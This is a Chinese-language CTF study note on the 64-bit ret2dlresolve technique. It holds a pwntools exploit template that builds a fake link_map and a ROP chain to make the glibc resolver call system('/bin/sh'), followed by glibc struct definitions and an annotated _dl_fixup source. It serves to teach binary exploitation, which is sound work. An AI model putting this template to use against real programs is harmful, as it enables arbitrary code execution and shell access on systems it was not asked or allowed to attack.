ret2dlresolve
[TOC] 参考博客 适用于NO RELRO, Partial RELRO,在64位中一般都是打linkmap结构体,板子题
攻击模板
总结地说,我们需要
- st_other != 0
- l -> l_addr = system_libc - a_libc;sym -> st_value = a_got (其中,a 函数是已经被解析过的一个函数)
那么最后得到的就是 l->l_addr + sym->st_value = system_libc - a_libc + a_got = system_libc_real,因此,这种攻击方法需要我们同时伪造 Elf_Sym 和 link_map
注意这个PLT是bnd jmp cs:qword_404010这条指令
rdi = 0x401683
rsi_r15 = 0x401681
leave = 0x4013c2
ret = 0x40101a
PLT = 0x401026
buf = elf.bss() + 0x400
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行
linkmap += p64(0)#l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap
#buf + 0x48为/bin/sh\x00的地址
p.send(b'a'*0x38 + p64(rsi_r15) + p64(buf)*2 + p64(elf.sym['read']) + p64(rdi) + p64(buf + 0x48) + p64(ret) + p64(PLT) + p64(buf) + p64(0))
fake_link_map = fake_Linkmap_payload(buf, elf.got['setbuf'], libc.sym['system'] - libc.sym['setbuf'])
p.send(fake_link_map)
p.interactive()
相关结构图
相关结构体
typedef struct{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;
typedef struct{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;
- link_map
//0x68 strtab
//0x70 symtab
//0xf8 relplt
struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76];
const Elf64_Phdr *l_phdr;
Elf64_Addr l_entry;
Elf64_Half l_phnum;
Elf64_Half l_ldnum;
struct r_scope_elem l_searchlist;
struct r_scope_elem l_symbolic_searchlist;
struct link_map *l_loader;
struct r_found_version *l_versions;
unsigned int l_nversions;
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const Elf64_Addr *l_gnu_bitmask;
union {
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union {
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};
unsigned int l_direct_opencount;
enum {lt_executable, lt_library, lt_loaded} l_type : 2;
unsigned int l_relocated : 1;
unsigned int l_init_called : 1;
unsigned int l_global : 1;
unsigned int l_reserved : 2;
unsigned int l_phdr_allocated : 1;
unsigned int l_soname_added : 1;
unsigned int l_faked : 1;
unsigned int l_need_tls_init : 1;
unsigned int l_auditing : 1;
unsigned int l_audit_any_plt : 1;
unsigned int l_removed : 1;
unsigned int l_contiguous : 1;
unsigned int l_symbolic_in_local_scope : 1;
unsigned int l_free_initfini : 1;
struct r_search_path_struct l_rpath_dirs;
struct reloc_result *l_reloc_result;
Elf64_Versym *l_versyms;
const char *l_origin;
Elf64_Addr l_map_start;
Elf64_Addr l_map_end;
Elf64_Addr l_text_end;
struct r_scope_elem *l_scope_mem[4];
size_t l_scope_max;
struct r_scope_elem **l_scope;
struct r_scope_elem *l_local_scope[2];
struct r_file_id l_file_id;
struct r_search_path_struct l_runpath_dirs;
struct link_map **l_initfini;
struct link_map_reldeps *l_reldeps;
unsigned int l_reldepsmax;
unsigned int l_used;
Elf64_Word l_feature_1;
Elf64_Word l_flags_1;
Elf64_Word l_flags;
int l_idx;
struct link_map_machine l_mach;
struct {
const Elf64_Sym *sym;
int type_class;
struct link_map *value;
const Elf64_Sym *ret;
} l_lookup_cache;
void *l_tls_initimage;
size_t l_tls_initimage_size;
size_t l_tls_blocksize;
size_t l_tls_align;
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
};
核心函数
在64位的情况下,一般都是通过value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);这个漏洞进行攻击
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
// 获取link_map中存放DT_SYMTAB的地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取link_map中存放DT_STRTAB的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据重定位结构体的r_info得到symtab表中对应的结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
{
const struct r_found_version *version = NULL;
// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段
// 就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段
// 第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。
// 第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
RTLD_FINALIZE_FOREIGN_CALL;
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value
// 我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}